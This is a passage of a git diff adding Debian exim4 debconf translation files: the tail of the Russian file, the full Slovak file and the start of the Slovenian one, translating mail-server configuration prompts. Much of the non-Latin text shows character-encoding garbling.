+msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Ðужно ответить утвердительно, еÑли ÑиÑтема иÑпользует дозвон по требованию. " +"ЕÑли имеетÑÑ Ð¿Ð¾ÑтоÑнное Ñоединение Ñ Ð˜Ð½Ñ‚ÐµÑ€Ð½ÐµÑ‚, ответьте отрицательно." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ Ð¿Ð¾Ñ‡Ñ‚Ð¾Ð²Ð¾Ð³Ð¾ Ñервера" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Разделить конфигурацию на маленькие файлы?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Пакеты exim4 в Debian могут работать Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸ÐµÐ¹, размещённой в одном " +"большом файле (/etc/exim4/exim4.conf.template), так и Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸ÐµÐ¹, " +"разделённой на 50 маленьких файлов, раÑположенных в каталоге /etc/exim4/conf." +"d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Первый вариант лучше подходит Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð±Ð¾Ð»ÑŒÑˆÐ¸Ñ… изменений и обычно более " +"надёжен, тогда как поÑледний более удобен Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð½ÐµÐ±Ð¾Ð»ÑŒÑˆÐ¸Ñ… изменений, " +"но менее надёжен и может привеÑти к краху ÑиÑтемы, еÑли вноÑить Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ " +"небрежно." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Более подробно об Ñтих двух видах конфигураций можно прочитать в файлах " +"README (из каталога /usr/share/doc/exim4-base), опиÑывающих наÑтройку в " +"Debian." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Скрывать локальное почтовое Ð¸Ð¼Ñ Ð² иÑходÑщей почте?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"Заголовки иÑходÑщей почты могут быть перезапиÑаны Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð²Ð¸Ð´Ð¸Ð¼Ð¾Ñти " +"того, что они были Ñозданы на другой ÑиÑтеме. ЕÑли ответить утвердительно, " +"то будут изменены '${mailname}', 'localhost' и '${dc_other_hostnames}' в " +"полÑÑ… From, Reply-To, Sender и Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox формат в /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir формат в домашнем каталоге" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Метод доÑтавки локальной почты:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim может ÑохранÑÑ‚ÑŒ локально доÑтавлÑемую почту в различных форматах. " +"Ðаиболее чаÑто иÑпользуютÑÑ mbox и Maildir. Ð’ формате mbox иÑпользуетÑÑ Ð¾Ð´Ð¸Ð½ " +"файл Ð´Ð»Ñ Ð²Ñей почты, который хранитÑÑ Ð² каталоге /var/mail/. Ð’ формате " +"Maildir каждое Ñообщение ÑохранÑетÑÑ Ð² отдельном файле в каталоге ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Заметьте, что большинÑтво почтовых утилит Debian по умолчанию наÑтроены на " +"иÑпользование mbox как метода локальной доÑтавки." diff --git a/debian/po/sk.po b/debian/po/sk.po new file mode 100644 index 0000000..29461ad --- /dev/null +++ b/debian/po/sk.po @@ -0,0 +1,638 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +# Peter Mann <Peter.Mann@tuke.sk>, 2008. +# Ivan Masár <helix84@centrum.sk>, 2009. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2009-04-10 12:48+0100\n" +"Last-Translator: Ivan Masár <helix84@centrum.sk>\n" +"Language-Team: Slovak <sk-i18n@lists.linux.sk>\n" +"Language: sk\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "OdstrániÅ¥ nedoruÄené správy z adresára spool?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"V Exim spool adresári /var/spool/exim4/input sa nachádzajú doposiaľ " +"nedoruÄené správy. Odstránenie Exim-u spôsobà ich nedoruÄenie, až kým sa " +"Exim nepreinÅ¡taluje." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Ak sa nezvolà táto možnosÅ¥, tak sa spool adresár ponechá a poÅ¡ty vo fronte " +"sa môžu doruÄiÅ¥ neskôr po preinÅ¡talovanà Exim-u." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Zmena nastavenia exim4-config namiesto tohto balÃka" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 má na nastavenia urÄený balÃk exim4-config. Ak chcete zmeniÅ¥ " +"nastavenia Exim4, použite „dpkg-reconfigure exim4-config“." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internetová lokalita; poÅ¡ta sa prijÃma a doruÄuje priamo pomocou SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "zasielanie poÅ¡ty cez smarthost; prÃjem cez SMTP alebo fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "zasielanie poÅ¡ty cez smarthost; žiadna lokálna poÅ¡ta" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "iba lokálna poÅ¡ta; poÄÃtaÄ nie je na sieti" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "teraz niÄ nenastavovaÅ¥" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Základný model nastavenia poÅ¡ty:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Zvoľte si typ nastavenia poÅ¡tového servera, ktorý najviac vyhovuje vaÅ¡im " +"požiadavkám." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"PoÄÃtaÄe s dynamickými IP adresami, vrátane dialup pripojenia, by mali byÅ¥ " +"nastavené tak, že vÅ¡etky odchádzajúce poÅ¡ty posielajú na doruÄenie inému " +"poÄÃtaÄu, nazývanému „smarthost“. Je to kvôli tomu, že mnoho poÅ¡tových " +"serverov na internete použÃva blokovanie poÅ¡ty prichádzajúcej z dynamických " +"IP adries ako ochranu proti nevyžiadanej poÅ¡te." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Systém s dynamickou IP adresou môže prijÃmaÅ¥ vlastnú poÅ¡tu, prÃpadne sa " +"lokálne doruÄovanie úplne zakáže (okrem poÅ¡ty pre root-a a postmaster-a)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Naozaj ponechaÅ¥ poÅ¡tový systém nenastavený?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Kým nenastavÃte svoj poÅ¡tový systém, nebude funkÄný a nedá sa použÃvaÅ¥. " +"Nastavenie môžete samozrejme vykonaÅ¥ neskôr manuálne alebo pomocou prÃkazu " +"„dpkg-reconfigure exim4-config“ ako použÃvateľ root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "PoÅ¡tový názov poÄÃtaÄa:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"„PoÅ¡tový názov poÄÃtaÄa“ je doménový názov, ktorý sa použije na „doplnenie“ " +"poÅ¡tových adries bez doménového názvu." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Tento názov budú využÃvaÅ¥ aj iné programy. Mal by to byÅ¥ jednoznaÄný plne " +"kvalifikovaný doménový názov (FQDN - Fully Qualified Domain Name)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Ak je naprÃklad vaÅ¡a poÅ¡tová adresa nieco@domena.sk, tak správna hodnota " +"tohto nastavenia by mala byÅ¥ domena.sk." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Ak povolÃte prepisovanie hlaviÄiek, tak sa tento názov neobjavà v " +"odchádzajúcej poÅ¡te v riadkoch From:." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "ÄŽalÅ¡ie cieľové adresy, pre ktoré sa prijÃma poÅ¡ta:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Zadajte bodkoÄiarkami oddelený zoznam domén, pre ktoré sa tento poÄÃtaÄ " +"považuje za cieľový server. Tieto domény sa zvyknú nazývaÅ¥ „lokálne domény“. " +"Lokálny názov poÄÃtaÄa (${fqdn}) a „localhost“ sa vždy pridajú k tomuto " +"zoznamu." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Å tandardne sa so vÅ¡etkými lokálnymi doménami zaobchádza rovnako. Ak sú napr. " +"obidve domény domena1.sk a domena2.sk lokálne, tak sa poÅ¡ty pre abc@domena1." +"sk a abc@domena2.sk doruÄia do tej istej schránky. Ak požadujete iné " +"spracovanie pre rôzne domény, budete potom musieÅ¥ manuálne upraviÅ¥ " +"konfiguraÄné súbory." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domény, pre ktoré sa prenáša poÅ¡ta (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Zadajte bodkoÄiarkami oddelený zoznam domén, pre ktoré tento systém prenáša " +"poÅ¡tu (relay), napr. keÄ je to sekundárny MX server alebo poÅ¡tová brána. To " +"znamená, že tento systém prijme poÅ¡ty pre tieto domény z ľubovoľného miesta " +"na internete a doruÄà ich podľa pravidiel lokálneho doruÄenia." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Neuvádzajte tu lokálne domény. Môžete použiÅ¥ aj náhradné znaky." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "PoÄÃtaÄe, ktorým sa prenáša poÅ¡ta (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Zadajte bodkoÄiarkami oddelený zoznam rozsahov IP adries, pre ktoré bude " +"tento systém neobmedzene prenášaÅ¥ poÅ¡tu (relay), teda bude pre nich tzv. " +"smarthost." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Mali by ste použiÅ¥ Å¡tandardný formát adresa/dĺžka (napr. 194.222.242.0/24 " +"alebo 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Ak sa tento systém nemá použÃvaÅ¥ ako tzv. smarthost pre iné poÄÃtaÄe, " +"nechajte tento zoznam prázdny." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Viditeľný názov domény pre lokálnych použÃvateľov:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Bola nastavená voľba na skrytie lokálneho poÅ¡tového názvu v odchádzajúcich " +"poÅ¡tách. Je teda potrebné uviesÅ¥ doménové meno, ktoré by mal tento systém " +"použÃvaÅ¥ ako doménovú ÄasÅ¥ poÅ¡tovej adresy odosielateľa lokálnych " +"použÃvateľov." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP adresa alebo názov tzv. smarthost odchádzajúceho poÄÃtaÄa:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Zadajte IP adresu alebo názov poÅ¡tového servera, ktorý sa použije týmto " +"systémom ako tzv. smarthost odchádzajúci poÄÃtaÄ. Ak smarthost prijÃma vaÅ¡u " +"poÅ¡tu iba na porte inom ako TCP/25, pridajte dve dvojbodky a ÄÃslo portu " +"(napr. smarthost.domena.sk::587 alebo 192.168.254.254::2525). Dvojbodky v " +"IPv6 adresách musÃte zdvojiÅ¥." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Ak tzv. smarthost odchádzajúci poÄÃtaÄ potrebuje autentifikáciu, pozrite si " +"Å¡pecifické Debian README súbory v /usr/share/doc/exim4-base, kde nájdete " +"poznámky o nastavenà SMTP autentifikácie." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "PrÃjemca poÅ¡ty pre použÃvateľov root a postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PoÅ¡ta pre použÃvateľov „postmaster“, „root“ a ÄalÅ¡Ãch systémových " +"použÃvateľov sa musà presmerovaÅ¥ na použÃvateľské konto súÄasného správcu " +"systému." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Ak sa táto hodnota nevyplnÃ, takéto poÅ¡ty sa uložia do /var/mail/mail, ale " +"neodporúÄa sa to." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"PoÅ¡ta pre postmaster-a by sa mala ÄÃtaÅ¥ radÅ¡ej na systéme, pre ktorý bola " +"urÄená ako byÅ¥ presmerovaná inde, takže uvedenà použÃvatelia (aspoň jeden z " +"nich), by nemali presmerovávaÅ¥ svoju poÅ¡tu mimo tohto poÄÃtaÄa. Použite pred " +"menom „real-“, ak si chcete vynútiÅ¥ lokálne doruÄenie." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Viacero použÃvateľských mien treba oddeliÅ¥ medzerami." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "IP adresy na prÃjem prichádzajúcich SMTP spojenÃ:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Zadajte bodkoÄiarkami oddelený zoznam IP adries. Na vÅ¡etkých uvedených IP " +"adresách bude Exim SMTP ÄakaÅ¥ na prichádzajúce spojenia." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Ak necháte toto pole prázdne, Exim bude ÄakaÅ¥ na spojenie na vÅ¡etkých " +"dostupných sieÅ¥ových rozhraniach." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Ak tento poÄÃtaÄ prijÃma poÅ¡tu cez lokálne služby (a nie z iných poÄÃtaÄov), " +"odporúÄa sa zakázaÅ¥ externé pripojenia na lokálny Exim. Medzi takéto lokálne " +"služby patria lokálne poÅ¡tové programy (MUA), ktoré použÃvajú na pripojenie " +"localhost, podobne ako napr. fetchmail. Ak sa tu použije 127.0.0.1, tak sa " +"vlastne zakážu externé pripojenia a tým aj Äakanie na pripojenia na " +"verejných sieÅ¥ových rozhraniach." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "MinimalizovaÅ¥ poÄet DNS požiadaviek (VytáÄanie-na-požiadanie)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Exim vykonáva v normálnom režime DNS požiadavky pri Å¡tarte, prijÃmanà alebo " +"odosielanà poÅ¡ty. Je to kvôli zaznamenávaniu presných záznamov o jeho " +"Äinnosti a dovoľuje minimalizovaÅ¥ poÄet nemenných hodnôt v konfiguraÄnom " +"súbore." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Ak tento poÄÃtaÄ nemá trvalý prÃstup k DNS serverom a použÃva vytáÄané " +"(dialup) pripojenie na požiadanie, môže to maÅ¥ nežiadúce následky. Spustenie " +"Exim-u alebo kontrola frontu poÅ¡ty (aj keÄ v nej nie sú žiadne správy) môžu " +"spustiÅ¥ pripojenie, Äo vás môže stáť peniaze." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Táto možnosÅ¥ by mala byÅ¥ zvolená, ak tento systém použÃva vytáÄané " +"pripojenie na požiadanie (dial-on-demand). Ak má tento poÄÃtaÄ permenentné " +"pripojenie k internetu, túto voľbu treba zamietnuÅ¥." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Nastavenie poÅ¡tového servera" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "RozdeliÅ¥ nastavenie do menÅ¡Ãch súborov?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian balÃky exim4 môžu na vytvorenie výslednej konfigurácie použiÅ¥ buÄ " +"„nerozdelenú konfiguráciu“ - jeden veľký súbor (/etc/exim4/exim4.conf." +"template) alebo „rozdelenú konfiguráciu“, kde sa aktuálne nastavenie Exim-u " +"vytvorà zo zhruba 50 malých súborov v adresári /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Nerozdelená konfigurácia je vhodnejÅ¡ia na rozsiahle úpravy a vÅ¡eobecne je o " +"nieÄo stabilnejÅ¡ia. Rozdelená konfigurácia ponúka pohodlný spôsob na malé " +"zmeny, ale je náchylnejÅ¡ia na chyby a môže poÅ¡kodiÅ¥ nastavenie pri " +"neopatrných zmenách." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"PodrobnejÅ¡Ã popis rozdelenej a nerozdelenej konfigurácie nájdete v README " +"súboroch v /usr/share/doc/exim4-base Å¡pecifických pre Debian." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "SkryÅ¥ lokálny názov poÅ¡tového servera v odchádzajúcej poÅ¡te?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"HlaviÄky odchádzajúcej poÅ¡ty sa môžu prepisovaÅ¥, aby sa navonok javili ako " +"odoslané z iného systému. Ak sa zvolà táto možnosÅ¥, prepÃÅ¡u sa " +"„${mailname}“, „localhost“ a „${dc_other_hostnames}“ v poliach From, Reply-" +"To, Sender a Return-Path." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox formát v adresári /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir formát v domácom adresári" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Spôsob doruÄovania pre lokálnu poÅ¡tu:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim je schopný lokálne doruÄovaÅ¥ poÅ¡tu v rôznych formátoch. Najviac " +"použÃvané formáty sú mbox a Maildir. mbox použÃva jediný súbor pre celý " +"poÅ¡tový prieÄinok uložený v adresári /var/mail/. Maildir formát použÃva " +"samostatné súbory pre každú poÅ¡tu uložené v adresári ~/Maildir/. " + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Uvedomte si, že väÄÅ¡ina poÅ¡tových nástrojov v Debiane predpokladá vo svojom " +"predvolenom nastavenà doruÄovanie poÅ¡ty do formátu mbox." diff --git a/debian/po/sl.po b/debian/po/sl.po new file mode 100644 index 0000000..988781a --- /dev/null +++ b/debian/po/sl.po @@ -0,0 +1,832 @@ +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans +# +# Developers do not need to manually edit POT or PO files. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2006-12-27 11:28+0100\n" +"Last-Translator: Matej KovaÄiÄ <matej.kovacic@owca.info>\n" +"Language-Team: Matej KovaÄiÄ\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=utf-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Country: SLOVENIA\n" +"X-Poedit-Bookmarks: 30,-1,-1,-1,-1,-1,-1,-1,-1,-1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "Odstranim neposlano poÅ¡to v Äakalnem imeniku?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory 